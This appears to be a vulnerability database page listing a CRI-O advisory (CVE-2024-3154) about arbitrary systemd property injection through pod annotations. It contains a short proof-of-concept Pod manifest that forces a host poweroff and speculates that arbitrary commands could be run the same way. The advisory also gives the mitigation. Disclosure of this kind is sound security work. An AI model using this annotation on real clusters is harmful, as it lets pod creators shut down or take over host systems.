Vulnerabilities affecting this package (1)
| Vulnerability |
Summary |
Fixed by |
VCID-g3wj-7845-e3bs
Aliases:
CVE-2024-3154
GHSA-2cgq-h8xw-2v5j
|
CRI-O vulnerable to an arbitrary systemd property injection
### Impact
On CRI-O, it looks like an arbitrary systemd property can be injected via a Pod annotation:
```
---
apiVersion: v1
kind: Pod
metadata:
name: poc-arbitrary-systemd-property-injection
annotations:
# I believe that ExecStart with an arbitrary command works here too,
# but I haven't figured out how to marshalize the ExecStart struct to gvariant string.
org.systemd.property.SuccessAction: "'poweroff-force'"
spec:
containers:
- name: hello
image: [quay.io/podman/hello](http://quay.io/podman/hello)
```
This means that any user who can create a pod with an arbitrary annotation may perform an arbitrary action on the host system.
Tested with CRI-O v1.24 on minikube.
I didn't test the latest v1.29 because it is incompatible with minikube: https://github.com/kubernetes/minikube/pull/18367
Thanks to Cédric Clerget (GitHub ID @cclerget) for finding out that CRI-O just passes pod annotations to OCI annotations:
https://github.com/opencontainers/runc/pull/3923#discussion_r1532292536
CRI-O has to filter out annotations that have the prefix "org.systemd.property."
See also:
- https://github.com/opencontainers/runtime-spec/blob/main/features.md#unsafe-annotations-in-configjson
- https://github.com/opencontainers/runc/pull/4217
### Workarounds
Unfortunately, the only workarounds would involve an external mutating webhook to disallow these annotations
### References
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There are no reported fixed by versions.
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Vulnerabilities fixed by this package (0)
| Vulnerability |
Summary |
Aliases |
|
This package is not known to fix vulnerabilities.
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